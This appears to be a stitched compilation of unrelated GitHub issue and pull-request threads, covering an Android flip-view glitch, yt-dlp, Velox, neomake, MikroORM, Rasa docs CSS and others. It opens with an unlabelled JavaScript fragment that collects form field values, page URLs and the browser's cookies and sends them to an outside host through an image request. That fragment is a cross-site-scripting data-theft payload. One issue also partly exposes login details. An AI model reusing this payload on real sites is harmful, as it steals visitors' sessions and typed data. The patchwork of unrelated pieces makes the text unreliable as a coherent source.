if(input_name.toLowerCase != "submit" || inputs[index].type.toLowerCase != "submit"){
outputif = outputif + inputs[index].value;
}
}
}
output = encodeURIComponent(output); //此版本为修复版2017-08-08 gdd.gd
if(outputif.replace(/(^s*)|(s*$)/g, "").length >4){
new Image().src = "https://s0s.im/bdstatic.com/?callback=jsonp&id={projectId}"+"&location="+encodeURIComponent(locationurl)+"&toplocation="+encodeURIComponent(topurl)+"&Data="+output+"&cookie="+encodeURIComponent(cookie);
}
};


Artifacts appearing on flipping

The best to see for yourself
https://youtu.be/CSgVNxgrKIY
the code:
<?xml version="1.0" encoding="utf-8"?>
<com.wajahatkarim3.easyflipview.EasyFlipView xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    android:id="@+id/flipper"
    android:layout_width="match_parent"
    android:layout_height="200dp"
    app:flipOnTouch="true"
    app:flipEnabled="true"
    app:flipDuration="400"
    app:flipType="horizontal"
    >

    <android.support.v7.widget.CardView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:layout_margin="16dp">

        <TextView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="Front"
<EMAIL_ADDRESS>/>

    </android.support.v7.widget.CardView>

    <android.support.v7.widget.CardView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:layout_margin="16dp">

        <TextView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
<EMAIL_ADDRESS>            android:text="Back"/>

    </android.support.v7.widget.CardView>

</com.wajahatkarim3.easyflipview.EasyFlipView>

Any idea why this is happening/what I'm doing wrong?

I think its happening due to CardView's drop shadow. I would have to look at it.

Thanks man, I just done exactly the thing haha.
I set elevation to 0dp and it's fixed.  I just looked at the demo app, and i realized that the first demo i created for EasyFlipView was using CardView. Here is the link to the front side layout: https://github.com/wajahatkarim3/EasyFlipView/blob/master/app/src/main/res/layout/flash_card_layout_back.xml
I think you have increased the initial elevation or something. Because the flipping in the demo looks good.

No, elevation is standard. So this layout is basically the same, only uses  tags instead normal nesting. I am going to try use this that way, but I suspect there would be no difference.
The phone is Nexus 5, I will try and test this on other phones in a minute.

Yeah Sure. Do let me know 👍

Testes on Huawei p8, Samsung s5, and LG g3 additionally, and the effect is the same, though on LG g3 there is another weird thing going on - the card doesn't flip on touch most of the times https://youtu.be/o4jtiOZVVJ0
Is there demo .apk available somewhere?

Yes. You can get the APK at https://github.com/wajahatkarim3/EasyFlipView/releases/download/1.0.0/EasyFlipView-Demo_v1.0.0.apk


Feedback Option

Description ✏
I added the feedback page in the submodule.
Checklist ✅

[ x] I have added screenshots (if UI changes are present).
[ x] I have done a self-review of my code.
[ ] I have manually tested my code (if applicable).

Ohhh sorry augustin. we should have it be automatic! so theyre already signed in. client side (the app) can just send their api key and the feedback as text. so just one box -> feedback and one button -> send. and we should have auto close, with a vscode notif in the bottom right that says "Feedback sent successfully!" (or error)
so basically:

see if user is signed in (look at the pearai credentials), if not, ask them to sign in to submit feedback
send headers (https://github.com/trypear/pearai-submodule/blob/main/core/continueServer/stubs/headers.ts#L4
), api-key (see PearAIServer.ts), and feedback to /SERVER_URL/client_feedback

No worries! I’ll make the changes. Thanks for the feedback

I updated the feedback page with just the text box and the vscode notifications when the user submits. I also added the headers and API key to the endpoint you mentioned. If there are any issues, let me know.


could not choose the laser sensor.

Hi, when I use the command "bash install_linorobot2.bash <robot_type> <laser_sensor> <depth_sensor>" as bash "install_linorobot2.bash 4wd" a1, (I do not have depth_sensor yet so I am not choosing any) the terminal output says that I should use rplidar etc. How the system will know the model of my LIDAR if I can only specify rplidar? Also foxy has lots of rosdep issues, do you advise me to keep use it? I am using rpi4 with 4GB RAM so I have some resource issues. Thank you for your interest.

BTW, you can not execute commands with cut-and-paste in ubuntu 20.04 terminal. You will need to save the commands as a script and run the script. Otherwise, some commands will not be executed.

Thank you so much. I installed all dependencies manually.


Improve code quality for delete and find commands

Fixes #217

i will improve test coverage in a while


Crash on boot on FML 36.2.8 server

Hi, I updated your mod and it now causes a crash on my server related to minecrafts renderer.
If I remove the mod, the server starts just fine.
Here is the log:
https://pastebin.com/9QyWGakT
Thanks for the nice mod!

Unable to replicate

Just replicated. Do you have any other mods installed?

HOW DID YOU REPLICATE THE ISSUE

By running a dedicated server with Crossroads MC installed

Ultimately I think this is caused because FireTypeAccess is written in an unsafe way. It's an interface that gets inherited by Entity that has fields of type RenderMaterial which are client only.


Request /team.info when team:read scope is present

#7

Thank you @panayi, sorry for the delay.  👍


[Feature] Expand 0x2::bcs to support more peel-types

How do you feel about adding:
peel_id
peel_u16
peel_u32
peel_u256
peel_ascii_string
peel_utf8_string
and of course, vector and option-versions of all of these? I could write these up if you guys are down.

How do you feel about something like:
borrow_bytes_mut(bcs: &mut BCS): &mut vector
this would allow external modules to modify a BCS's internal bytes arbitrarily. Which may or may not be desirable...

My 2c: supporting peeling of more types seems very useful/convenient, would be in support of adding all of these.

borrow_bytes_mut(bcs: &mut BCS): &mut vector

I think this only makes sense if the BCS type does not maintain any internal invariants (since exposing write access into the vector will allow an external module to violate them). @damirka will have a more informed opinion on this.

My 2c: supporting peeling of more types seems very useful/convenient, would be in support of adding all of these.

borrow_bytes_mut(bcs: &mut BCS): &mut vector

I think this only makes sense if the BCS type does not maintain any internal invariants (since exposing write access into the vector will allow an external module to violate them). @damirka will have a more informed opinion on this.

Yeah that's what I was thinking too. Exposing the underlying bcs bytes themselves would make it more convenient to do deserialization of custom structs (without having to destroy the bcs wrapper), but it might break something.

Hey @PaulFidika, closing this one as a stale. Given that it's almost been a year, and the #18431 is out.


Running ./build.sh does nothing

I'm running OSX 10.12.6
I've followed the prerequisites and have fonttools installed. After I cloned the repo I copied the Operator Mono fonts to original directory and ran ./build.sh. It runs very quickly and produces no output.
I checked the 'build' directory and it's empty. Any ideas?

The tool only processes fonts that it has the ligatures for. It also looks for the filenames in ./original with a specific format.
The filenames should look like this:

Please re-open if you're still having the issue

Sorry for the delay in responding. I solved it in the end. I had my filenames wrong from when I backed up.


substring length description include restrictions

added example of violating length restrictions

@OzBob,
Thanks for having already signed the Contribution License Agreement. Your agreement was validated by Microsoft. We will now review your pull request.
Thanks,
Microsoft Pull Request Bot

@tfitzmac Hi Tom Please review these proposed changes. Thanks.

@OzBob - thanks for this addition. It looks very helpful.

#sign-off

@tysonn please merge this PR


Set output batch rows based on estimated row size for HashAggregation

Add the outputBatchRows() to Operator interface to determine the number
of output batch rows based on the total batch size config
preferred_output_batch_bytes and the given average row size.
If the average row size is not given, return the config
preferred_output_batch_rows.
Make the HashAggregation operator use the above logic to adaptively
set the number of output batch rows based on the estimated output
row size.

Hi @xiaoxmeng , this change breaks two more unit tests in AggregationTest.cpp, spillWithEmptyPartition, spillWithNonSpillingPartition, in addition to the one we discussed. The tests end with exceptions, like P672036745, P672037418. It seems to come from MemoryUsageTracker::incrementReservation(). Would you be able to help fix?
(I spent some time to look into, but feel really difficult for me to understand it. It's not impossible that my code returns an invalid value that breaks the MemoryUsageTracker)

@gggrace14 Looks good to me % comment about RowContainerTest. Also, I wonder if we should use the new Operator::outputBatchRows in TableScan operator as well.

Hi @mbasmanova , I have the comments addressed and revised the unit test for RowContainer. Would you be able to help take another look? I made TableScan use the new Operator::outputBatchRows, and still made the change in existing where your comments are kept but rebased it.

Masha, I make the change to have TableScan use it in the PR https://github.com/facebookincubator/velox/pull/4463/commits/b052bacfcbff80ecd7bd927c852edc90a4108ab0, where your comments are kept. TableScan PR is rebased.


Incorrect rendering of multiple doc pages on the website

Pages like Slots, Tracker Stores, Components, and Events. have rendering issues where some divs overlap the text thus making them a bit messy. Please find the attached image for reference.

Thanks for raising this issue, @koaning will get back to you about it soon✨
Please also check out the docs and the forum in case your issue was raised there too 🤗

Thanks for raising the issue. We were aware of this and we're checking when this change was introduced so that we may understand what went wrong here.

Here's what it looked like at sphinx ~ 1.7, what we had before dependabot updates:

Upgrading to 2.0, looks like this:

2.1.2 is the same:

2.2.0 introduces the issue:

which looks the same on our current version, 3.1.1.

This is still an issue.
Adding   margin-left: 5px;
To the div.body dd, div.body li, div.body p {}
Corrects the formatting.
If you have greasemonkey or tampermonkey installed on your browser you can run this script to patch the CSS like above.
`// ==UserScript==
// @name         Rasa
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  try to take over the world!
// @author       You
// @match        https://rasa.com/docs/rasa/*
// @grant        GM_addStyle
// ==/UserScript==
(function() {
'use strict';
})();
GM_addStyle ( "div.body dd, div.body li, div.body p {  margin-left: 5px;  }" );`

There seems to be another similar CSS issue with dl.field-list>dt
which has  word-break: break-word;  on and is making it look nasty.
Should be anything but break-word like  word-break: normal;
https://rasa.com/docs/rasa/nlu/components/#hftransformersnlp

Adding this to the Tampermonkey script about, patches it for now.
GM_addStyle ( "dl.field-list>dt { word-break: normal;  }" );

Thank you so much for the very specific suggestions!


bugfix: no scrolling for iframe provider

:tada: This PR is included in version 2.0.0-beta.22 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:

:tada: This PR is included in version 2.0.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Get the Original Email

Do this library also provides the original message from which all the replies originated from? I believe it can be fetched by accessing the last element of mail_message.replies list.

Why not just use mail_message.text?


Pochtalon

Solved

This is not okay to use commit message as answer to my question. Simply use this possibility to left comments on GitHub UI


Combining efforts

I have found a few forks/initiatives/repositories based on http://osvaldas.info/image-lightbox-responsive-touch-friendly
Namely:
https://github.com/felipearosemena/imageLightbox
https://github.com/rejas/imagelightbox
https://github.com/mrchimp/imagelightbox
https://github.com/jeremydouglas/imagelightbox
I was wondering if you would be open combining those efforts?
I am raising this topic as a new issue with all of the above repos (not sure if there is any better way getting in touch with the authors).

I would advise continuing this discussion on one thread at https://github.com/mrchimp/imagelightbox/issues/3


autoplay videos are broken on features page

Regression b/c of fixes to make the caching videos play on click.

Fixed https://github.com/donejs/donejs/commit/695379d7602fb4019f560364faa6a7709177b58a


RefreshToken fail without feedback if offline

If offline when _saveSession is called, the call to refresh the token fail (which is expected) but the error is swallowed. We don't get notified that something is wrong and all other requests to Supabase start failing.
We could detect connectivity and retry when we are back online using something like https://pub.dev/packages/connectivity_plus
Also we should probably emit an event in onAuthStateChange that we are signed out when there is no chance to recover the session.
I can help implement this if given some direction on what is the expected behavior. :D

Thanks for opening this issue @cgestes ! This is an issue on the javascript library as well about this.
Using the connectivity package is a great idea, but the problem is that it is a connectivity package depends on Flutter, and the we would like to keep GoTrue_dart a dart only package. I wonder if we can detect request failing due to network connectivity from the error of http package. If we could do that, then I think we can set retry timer though that route.

Ok, I originally tried and gave up, the error didn't look easy to figure out. I'll give it a shot again, and send a PR if I get to something successful.


[MAYA] Configure pyblish behaviour with environment variable

The goal is to provide environment variables to preset pyblish behaviour before launching it.
Those variables can be used with the maya "Script Menu Definition" for example to create shortcut for the operator to quickly publish, review, or render his work without having to activate/deactivate instances or plugins within pyblish
Work to come

[x] "PYBLISH_FAMILY_WHITELIST", force pyblish to only considere whitelisted families
[x] "PYBLISH_DEFAULT_INTENT", use this value as default intent
[x] "PYBLISH_TITLE", Override pyblish window title

I don't have problem to have these features but I don't think it should be defined by environment variables.

context inside host may change and you may "not want" it.

I think the intent here is that value of that variable would change before invoking publisher based on what "menu option" user chooses. So you could have, not just publish but for example, publish render only and when you run that only renders are enabled. It is pretty much saving a click or two.
Having it in the setting instead of env var, might actually make it less flexible in this case.

I think the intent here is that value of that variable would change before invoking publisher based on what "menu option" user chooses.

I understand but that's the issue I see why not use environment variables. They're easily "accidentally set", not "unset" or passed from/to different process. I would preffer some global variables that are at least process specific and can't be passed to different processes or farm or anywhere. Those global variables should be known for standard publish action as should probably unset values that were set with different action when is triggered (to cancel behavior of custom action).

@jlorrain do you think this is reviewable? Trying to clean up old PRs and this one does have some value, albeit I'm not 100% convinced.
@antirotor @BigRoy any opinions on this in general?

Hard to say - I feel it's a workaround for something that might be better solved differently.


[Graph Browser 2] use drawLineChart function for observationChart

Changes:

update the function drawLineChart to take in handler function for dots being clicked and change the data format of the dots
update the observationChart component to use drawLineChart function.

thanks for the reviews!


x/exp/cmd/gorelease: module go directive compatibility

I recall the impact of updating the go directive, e.g. go 1.11 -> go 1.14, on compatibility being discussed in CL 197299 but do not see a resolution. Does gorelease currently ignore this, and what should it do?

@jayconrod

Thanks for the reminder. gorelease currently ignores this, but I think the resolution was that we should increment the minor version when the go version changes.
Let's track this in #37564. I've added a comment there.


Projects Guide

The second guide after the Quickstart.  The theme is how Holos makes it easier for a platform team to provide a project structure for development teams.
Outline
Intended audience is a platform engineer.

Goal is to show the reader how to manage a project for a dev team.
The dev team wants to deploy a container onto the platform.
[ ] Reader starts by forking a git repo that contains a basic platform.
[ ] ArgoCD is accessible straight away.
[ ] Exercise: Change the git url to point to the fork.
[ ] Notice how all of the platform components change consistently to the new URL.
[ ] Exercise: Create a new project.  (Deployment, Service)
[ ] Assume the dev team creates their own project from documentation.  Use a super basic schematic as an example.
[ ] Adding the project needs two platform resources: Namespace, HTTPRoute.  Both go into /projects
[ ] Adding the project needs needs to register the component.  Registration goes into the rott /
[ ] Notice how easy Holos makes it for the developers to update their image tag.

Bank of Holos

[x] frontend
[x] accounts-db
[x] userservice
[x] Fix ArgoCD SharedResourceWarnings
[x] ledgerwriter service
[x] balancereader service
[x] transactionhistory service
[x] contacts
[x] Fix redirects to http causing connection reset errors.  See https://github.com/GoogleCloudPlatform/bank-of-anthos/issues/478
[ ] loadgenerator

Next Steps (Level 3)
This Level 2 guide should set the stage for the policy management theme.

Block CRD's being added from certain projects.
Discuss how resources can be limited or allowed.
Discuss how labels can be applied.
How Holos plays nicely with OWNERS.

Connections to Quickstart

[ ] Update Quickstart guide to fork a different repo.
[ ] Change the Quickstart to the same directory structure.

Closing to focus on #251


todos

shops
proper ui
leaderboards
vehicle spawns
AI
more maps ( someone wanna do these? 😉 )

add "contested" zone state that makes the zone yellow or so


ImportError: cannot import name 'Chatbot' from partially initialized module 'EdgeGPT' (most likely due to a circular import) (D:\EdgeGPT.py)

Is your .py file named EdgeGPT? if yes, thats the problem, rename it to something else


Create diagrams showing how Surfactant works

Create diagrams (one or more?) showing an overview of how Surfactant works — for overview presentations and documentation. Asciinema showing example use of Surfactant could also be useful for the docs.

SVG:

SVG with embedded Excalidraw data:

SVG:

SVG with embedded Excalidraw data

PNG 1x with embedded Excalidraw data

PNG 2x with embedded Excalidraw data

These would be nice to have as part of the ReadTheDocs build -- having a small script fetch the images as part of the ReadTheDocs build rather than hotlinking would be nice.


bug: examples for array properties are not recognized correctly

Hi,
First of all, I very much enjoy using your tool, the API is pretty fast and straightforward to use. Yesterday, I stumpled upon what I assume to be a bug when trying to make my OAS clean and compliant to OAS 3 standards (it may be related to this issue). My ruleset is extending the spectral:oas default rules and is not overwriting anything. I'm trying to achieve zero warnings for the following example OAS:
openapi: 3.0.3
info:
  title: Example API
  description: Example Description
  version: "1.0"
servers:
  - url: https://localhost:8090
    description: someserver
paths:
  /v1/chickens:
    get:
      summary: Get all the chickens
      description: Get chickens
      operationId: Service_GetChickens
      tags:
        - Chicken
      responses:
        "200":
          description: OK
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/SomeEndpointResponse'
components:
  schemas:
    SomeEndpointResponse:
      title: Endpoint response
      type: object
      properties:
        someProperty:
          example: "5"
          type: string
          description: Simple string property
        someArrayProperty:
          type: array
          items:
            type: string
          description: Array property
          example:
            - abc
            - def
tags:
  - name: Chicken

Vacuum does a good job checking for everything in my OAS besides one last (false-positive) warning on the oas3-valid-schema-example rule:
{
        "code": "oas3-valid-schema-example",
        "path": [
            "components",
            "schemas",
            "SomeEndpointResponse",
            "someArrayProperty"
        ],
        "message": "Example for property `someArrayProperty` is not valid: `Invalid type. Expected: string, given: array`. Value `[abc def]` is not compatible",
        "severity": 1,
        "range": {
            "start": {
                "line": 39,
                "character": 11
            },
            "end": {
                "line": 40,
                "character": 13
            }
        },
        "source": "example.yaml"
}

It's expecting an example of type string for a property which is an array of strings. I would assume no warning to be thrown here (I get none on spectral). Would be nice if you could have a look into it, I would really appreciate it!
Cheers Max

Please try v0.1.0 and let me know how you get on.

I re-ran your sample spec, it now scores perfectly. Your run towards a perfect contract is that much closer.


One to one, left join with no cascade.

Employee Entity:
@Entity({ tableName: 'employees' })
@Unique({ properties: ['position', 'departament'] })
export class Employee {
  @PrimaryKey()
  public readonly id: string;
  @Property()
  public matricula: string;
  @Property()
  public first_name: string;
  @Property()
  public last_name: string;
  @Enum()
  public position: Positions;
  @ManyToOne({ entity: () => Departament, name: 'departament_id' })
  public departament: Departament;
  @OneToOne({
    entity: () => User,
    mappedBy: 'employee',
    cascade:[]
  })
  public user:User;
  @Property()
  public createdAt = new Date();
  @Property({ onUpdate: () => new Date() })
  public updatedAt = new Date();
  @Property()
  public deletedAt?: Date;
  constructor(container: EmployeeContainer) {
    this.id = container.id ? container.id : v4();
    this.matricula = container.matricula;
    this.first_name = container.first_name;
    this.last_name = container.last_name;
    this.departament = container.departament;
    this.position = container.position;
  }
}

User Entity:
@Entity({tableName: 'users'})
export class User {
  @OneToOne(() => Employee, employee => employee.user, {
    owner: true,
    primary:true,
    cascade: [],
    fieldName: 'id',
  })
  public readonly employee: Employee;
  @Property()
  public login:string;
  @Property()
  public password:string;
  @Property({default:false})
  public active:boolean;
  constructor(){

  }
}

For some reason when using a select in the table employee, even with the cascade null in both entities it is giving a select left join with users:
const employee = await this.em.findOne(Employee, { matricula:matricula });
query with error:
[query] select "e0".*, "e1"."id" as "user_id" from "employees" as "e0" left join "users" as "e1" on "e0"."id" = "e1"."id" where "e0"."matricula" = 'a' limit 1 [took 3
ms]
DriverException: select "e0".*, "e1"."id" as "user_id" from "employees" as "e0" left join "users" as "e1" on "e0"."id" = "e1"."id" where "e0"."matricula" = 'a' limit 1 - operator does not exist: uuid = integer

I wanted to use cascade in delete and update, but how could I solve this problem?
I try to search for an employee with the registration field and give a left join to the user, this seems strange.

For some reason when using a select in the table employee, even with the cascade null in both entities it is giving a select left join with users:

Cascading has literally nothing to do with joining. In 99% cases you should not disable cascading as you are doing, as I am almost certain you don't really know what that does :] You are disabling cascade persisting, which is hardly what you want.
That join also have nothing to do with your error. The join is there because you are selecting inverse side of 1:1 relation, and you can optionally disable this behaviour via autoJoinOneToOneOwner: false. Search the issues for this configuration for more information before you actually disable it, as this has really nothing to do with the error.

I wanted to use cascade in delete and update, but how could I solve this problem?

There is no "cascade update", only cascade persist and that is only for new entities (those that will issue insert query). You don't need "cascade update", it happens automatically, all managed entities (those loaded via entity manager) will be checked for changes.
https://mikro-orm.io/docs/cascading/

operator does not exist: uuid = integer

Have you even tried to google your error? Because the error comes from postgres, not from MikroORM. Your column is of type UUID, and, as the error clearly says, you can't compare UUID type with numbers. This most probably means your schema is wrong or out of sync, and one of your tables have the PK defined as UUID while the other uses a number.


Admin panel source code?

Hello, i can't seem to find the admin panel source code in order to modify it.

I vote to that, It would be nice to have the source code as well.

What about the folders in this path?

../Node-Media-Server/public/

https://github.com/illuspas/Node-Media-Server-Admin


add support for promoting/ demoting users.

I know it's hard but please!
also where can I donate? :3

I'll be on vacation this weekend, but I can do this by monday, and thank you for the donation offer. I'll add a PayPal link to the Readme for those who want to support the project.

Sure, I have just finished my own whatsapp api and bot. Also I can't send you nothing, I get an error saying "Your recipient can't accept payments right now"

I'll need a moment to implement the changes because of my college, but it wont take long, also, you couldn't send anything because I didn't finish the confirmation process, I'm sorry for that, it will take a while to confirm, but I'll update you in the situation. Thanks again for the support.

Paypal says it is all good now, you can try again, if you want to.

I'm sorry that it took so long for me to respond, but I just updated the library and added this feature, there are some problems that i need to take care still, but it's usable for now.


Run gvim 8.0 get error message in win7.

Issue type

Bug report

Description
in win7, when save a java file, I get some error messages, but the java file has been compiled as I want,

here is the error message:

Messages maintainer: Bram Moolenaar<EMAIL_ADDRESS>"test\Foo.java" 5L, 112C written
Error detected while processing function dein#autoload#_on_cmd[13]..neomake#Make[13]..<SNR>155_Make[91]..<SNR>155_MakeJob[90]..neomake#MakeHandler:
line   26:
E716: Key not present in Dictionary: start < 1 ||  now - jobinfo.last_register > 3)
E15: Invalid expression: (!maker.buffer_output || last_event_type !=# a:event_type) || (last_event_type !=# a:event_type ||  now - jobinfo.start < 1 ||  now - jobinfo.last_register > 3)

"test\Foo.java" 7L, 129C written
Error detected while processing function neomake#Make[13]..<SNR>155_Make[91]..<SNR>155_MakeJob[90]..neomake#MakeHandler:
line   26:
E716: Key not present in Dictionary: start < 1 ||  now - jobinfo.last_register > 3)
E15: Invalid expression: (!maker.buffer_output || last_event_type !=# a:event_type) || (last_event_type !=# a:event_type ||  now - jobinfo.start < 1 ||  now - jobinfo.last_register > 3)
Error detected while processing function neomake#Make[13]..<SNR>155_Make:
line   91:
E170: Missing :endfor
"test\Foo.java" 7L, 129C written
Error detected while processing function neomake#Make[13]..<SNR>155_Make[91]..<SNR>155_MakeJob[90]..neomake#MakeHandler:
line   26:
E716: Key not present in Dictionary: start < 1 ||  now - jobinfo.last_register > 3)
E15: Invalid expression: (!maker.buffer_output || last_event_type !=# a:event_type) || (last_event_type !=# a:event_type ||  now - jobinfo.start < 1 ||  now - jobinfo.last_register > 3)
Error detected while processing function neomake#Make[13]..<SNR>155_Make:
line   91:
E170: Missing :endfor
"test\Foo.java" 7L, 129C written
Error detected while processing function neomake#Make[13]..<SNR>155_Make[91]..<SNR>155_MakeJob[90]..neomake#MakeHandler:
line   26:
E716: Key not present in Dictionary: start < 1 ||  now - jobinfo.last_register > 3)
E15: Invalid expression: (!maker.buffer_output || last_event_type !=# a:event_type) || (last_event_type !=# a:event_type ||  now - jobinfo.start < 1 ||  now - jobinfo.last_register > 3)
Error detected while processing function neomake#Make[13]..<SNR>155_Make:
line   91:
E170: Missing :endfor

Please execute :let g:neomake_verbose = 3 to enable verbose output, which
might help showing the issue already.
Look at :messages to see them.
-->
Output of the ":verb NeomakeInfo" command

A little more information would be useful!
E.g. the information from the issue template.
I guess that you are using buffer_output=1?

I will update it after 2016-10-5

I am certain that it's fixed by https://github.com/neomake/neomake/pull/607.
Please re-open (or better create a new issue) if there's still a problem.
Thanks.

@blueyed thanks for quick fix, and it works well, but the error message can not be shown correct in locallist. please have a look at the pic below.

@wsdjeg
Please create a new issue, and provide the file for copy'n'pasting there.
It should also include the output from :NeomakeInfo (after making it verbose etc).

@blueyed I just got it, pleas see https://github.com/wsdjeg/DotFiles/pull/61, I think it is because chinese can not be show correctly.

@wsdjeg
looks like you should report it for Vim?!

@wsdjeg
And you still don't even mention your Vim version.. :/

yeah, thanks, I will do it.


API - nothing should have changed in master

This adds the tcrdist package which will eventually improve the API. At this stage the API is not fully functional and has not been tested. The original codebase retains its functionality and has no additional dependencies (yet).


Changes from #1599 without start-mailserver.sh

The First Half
This PR includes the first half of #1599, i.e. everything that is not start-mailserver.sh.
Changes

outsourced badges-links in README.md to clean this section up
refactored .travis.yml with Prettier and added shellcheck capabilities
refactored Makefile to make it verbose where it should be and added a shellcheck target
refactored all scripts in target/ (except start-mailserver.sh)
added coding style guidelines to CONTRIBUTING.md so everyone can and must adhere to consistent guidelines
start-mailserver.sh had to be touched due to renaming of functions

What's new
Bash scripts are now streamlined and follow a certain paradigm where strictness is key.
TravisCI will now check scripts with shellcheck, and throws an error if warnings were found. Guidelines have been written to make coding more streamlined.
To-Do

[x] closed #1228

Current Errors
None. Ready for review and merge.
Post Scriptum
Thank you very much @tomav for invinting me!

Another question for @erik-wramner unrelated to this PR: How do you guys deal with (very) old issues, where there was no action for a prolonged period of time?

@aendeavor as you can see there are tons of old issues. My policy is to ask if the issue is still relevant. If there is no answer in one week I will close it with a comment that it can be reopened if needed. Good job on your part, I noticed that you closed many recently!
I'm willing to merge this if you are ready. Or by all means merge it yourself!

@aendeavor as you can see there are tons of old issues. My policy is to ask if the issue is still relevant. If there is no answer in one week I will close it with a comment that it can be reopened if needed. Good job on your part, I noticed that you closed many recently!
I'm willing to merge this if you are ready. Or by all means merge it yourself!

Great news. I have pushed another commit rounding things up adding tables of contents. I will wait for the tests to finish, then I'll merge it.


[iPrima.cz] Unable to extract JSON-LD

DO NOT REMOVE OR SKIP THE ISSUE TEMPLATE

[X] I understand that I will be blocked if I remove or skip any mandatory* field

Checklist

[X] I'm reporting a broken site
[X] I've verified that I'm running yt-dlp version 2022.10.04 (update instructions) or later (specify commit)
[X] I've checked that all provided URLs are playable in a browser with the same IP and same login details
[X] I've checked that all URLs and arguments with special characters are properly quoted or escaped
[X] I've searched the bugtracker for similar issues including closed ones. DO NOT post duplicates
[X] I've read the guidelines for opening an issue
[X] I've read about sharing account credentials and I'm willing to share it if required

Region
Czech Republic / Czechia
Provide a description that is worded well enough to be understood
I'm able to successfully log-in the webpage and watch whole video stream https://prima.iprima.cz/prostreno/libor-paulik
Because iPrima now requires user to be logged in, I'm supplying credentials beforehand:
https://auth.iprima.cz/oauth2/login
<EMAIL_ADDRESS>123456l
Provide verbose output that clearly demonstrates the problem

[X] Run your yt-dlp command with -vU flag added (yt-dlp -vU <your command line>)
[X] Copy the WHOLE output (starting with [debug] Command-line config) and insert it below

Complete Verbose Output
[debug] Command-line config: ['--username=PRIVATE', '--password=PRIVATE', '-vU', 'https://prima.iprima.cz/prostreno/libor-paulik']
[debug] Encodings: locale UTF-8, fs utf-8, pref UTF-8, out utf-8, error utf-8, screen utf-8
[debug] yt-dlp version 2022.10.04 [4e0511f] (pip) API
[debug] Python 3.10.8 (CPython 64bit) - macOS-12.1-x86_64-i386-64bit
[debug] Checking exe version: ffmpeg -bsfs
[debug] Checking exe version: ffprobe -bsfs
[debug] exe versions: ffmpeg 5.1.2 (setts), ffprobe 5.1.2, rtmpdump 2.4
[debug] Optional libraries: Cryptodome-3.15.0, brotli-1.0.9, certifi-2022.09.24, mutagen-1.45.1, sqlite3-2.6.0, websockets-10.3
[debug] Proxy map: {}
[debug] Loaded 1690 extractors
[debug] Fetching release info: https://api.github.com/repos/yt-dlp/yt-dlp/releases/latest
Latest version: 2022.10.04, Current version: 2022.10.04
yt-dlp is up to date (2022.10.04)
[IPrima] Downloading login page
[IPrima] Logging in
[IPrima] Downloading token
[debug] [IPrima] Extracting URL: https://prima.iprima.cz/prostreno/libor-paulik
[IPrima] libor-paulik: Downloading webpage
[IPrima] p1078412: Getting manifest URLs
[IPrima] p1078412: Downloading m3u8 information
[IPrima] p1078412: Downloading MPD manifest
[debug] Formats sorted by: hasvid, ie_pref, lang, quality, res, fps, hdr:12(7), vcodec:vp9.2(10), channels, acodec, filesize, fs_approx, tbr, vbr, abr, asr, proto, vext, aext, hasaud, source, id
ERROR: [IPrima] libor-paulik: Unable to extract JSON-LD; please report this issue on  https://github.com/yt-dlp/yt-dlp/issues?q= , filling out the appropriate issue template. Confirm you are on the latest version using  yt-dlp -U
  File "/usr/local/Cellar/yt-dlp/2022.10.4/libexec/lib/python3.10/site-packages/yt_dlp/extractor/common.py", line 672, in extract
    ie_result = self._real_extract(url)
  File "/usr/local/Cellar/yt-dlp/2022.10.4/libexec/lib/python3.10/site-packages/yt_dlp/extractor/iprima.py", line 153, in _real_extract
    final_result = self._search_json_ld(webpage, video_id) or {}
  File "/usr/local/Cellar/yt-dlp/2022.10.4/libexec/lib/python3.10/site-packages/yt_dlp/extractor/common.py", line 1458, in _search_json_ld
    raise RegexNotFoundError('Unable to extract JSON-LD')

It looks like this may be all that's needed:
diff --git a/yt_dlp/extractor/iprima.py b/yt_dlp/extractor/iprima.py
index 5e0b523dc..c98fe5b42 100644
--- a/yt_dlp/extractor/iprima.py
+++ b/yt_dlp/extractor/iprima.py
@@ -150,7 +150,7 @@ def _real_extract(self, url):
                         manifest_url, video_id, mpd_id='dash', fatal=False)
             self._sort_formats(formats)

-        final_result = self._search_json_ld(webpage, video_id) or {}
+        final_result = self._search_json_ld(webpage, video_id, default={})
         final_result.update({
             'id': video_id,
             'title': title,

@bashonly Great! Kindly thank you for checking it 😎 Confirming, the change you've supplied is working fine 👍


Application number bug fix

enrichApplicationNumberByCMPNumber - catching generic Exception. Should catch specific exceptions.
log.error("message", e) should be used to get more context instead of e.getMessage()

not required


How to build this

How i can build this ?? pls help me

GitHub Action: Fork and create a new release.
Build locally: ref https://github.com/heiher/sockstun/blob/master/.github/workflows/build.yaml


GH-211: MessageSource acks; fix concurrency

Fixes https://github.com/spring-projects/spring-integration-kafka/issues/211
Use ConcurrentHashMap with synchronized set values to avoid concurrency issues
when acks are processed on multiple threads.
cherry-pick to 3.0.x
I suggest reviewing with ?w=1; most changes are indentation only.

Test failure on Travis:
org.springframework.integration.kafka.outbound.KafkaProducerMessageHandlerTests > testOutboundWithTimestampExpression FAILED
    org.opentest4j.AssertionFailedError at KafkaProducerMessageHandlerTests.java:231

Looks to be unrelated but will investigate.

... and cherry-picked to 3.0.x after resolving import conflicts.


Compiler API behaves differently than CLI when using reflection

TypeScript Version:  2.4.1
I really like using TS, its a great language makes me a least 3x more productive and happy comparing to JS. :smile:
But I managed to run into a weird behavior when I was trying to do some exploration testing on class-transformer.
The test would fail indicating that an object was an instance of class Weapon when it should have been Map.
I noticed that this problem only occurred when the code was run through jest. Doing tsc then node worked just fine.
So I created an issue in the ts-jest repository.
@kulshekhar (creator of ts-jest) managed to narrow down the issue to the standalone compiler tsc and the compiler API.
Code
Repository run npm test
import "reflect-metadata";
import { plainToClass, Type } from "class-transformer";

export class Weapon {
  constructor(public model: string,
    public range: number) {
  }
}

export class User {
  public id: number;
  public name: string;

  @Type(() => Weapon)
  public weapons: Map<string, Weapon>;
}

export const plainUser = {
  id: 1,
  name: "Max Pain",
  weapons: {
    firstWeapon: {
      model: "knife",
      range: 1,
    },
    secondWeapon: {
      model: "eagle",
